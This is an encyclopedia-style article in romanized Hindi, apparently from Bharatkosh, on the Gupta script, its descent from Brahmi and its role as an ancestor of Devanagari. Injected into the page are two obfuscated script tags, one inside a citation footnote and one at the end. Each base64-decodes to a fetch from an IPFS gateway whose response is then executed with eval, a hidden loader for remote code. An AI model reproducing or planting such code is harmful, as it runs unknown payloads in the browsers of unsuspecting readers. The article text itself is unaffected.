गुप्त लिपि
gupt lipi chauthi-chhathi shatabdi ki uttar bharatiy varnamala se vikasit bharatiy varnamala lekhan paddhatiyoan ke samooh mean se koee bhi lipi thi.[1] us samay shasan kar rahe gupt rajy ne ise apana nam diya tha.[2]
- yah prachin brahmi lipi se vikasit huee thi aur gupt samrajy tatha unake dvara jite ge ilaqoan mean isaka vistar hua. parinamasvaroop gupt varnamala bad mean adhikaansh bharatiy lipiyoan ki poorvaj bani.[3]
- mool gupt varnamala mean paanch svar sahit 37 akshar the aur yah bayian se dayian aur likhi jati tha.
- mool varnamala se gupt lipi ke char up-prakar vikasit hue- 'poorvi', 'pashchimi', 'dakshini' aur 'madhy eshiyaee'.
- madhy eshiyaee gupt lipi ko 'madhy eshiyaee vakr gupt lipi' aur isake 'aigniyan' aur 'kuchiyan' prakar tatha madhy eshiyaee 'pravahi gupt lipi' ya 'khotani' mean vargikrit kiya ja sakata hai.
- poorvi gupt lipi ki pashchimi shakha se 'siddhamatrika lipi' ka janm hua (500 ee.), jisase devanagari lipi ka vikas hua (700 ee.), jo adhunik bharatiy lipiyoan mean sabase adhik vyapak hai.
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tika tippani aur sandarbh
- ↑ jinhean kabhi-kabhi ek dhvani ke badale shabdaansh chihnit karane ke lie sanshodhit kiya gaya.
- ↑ bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 95 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ adhikaanshat: devanagari ke madhyam se.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>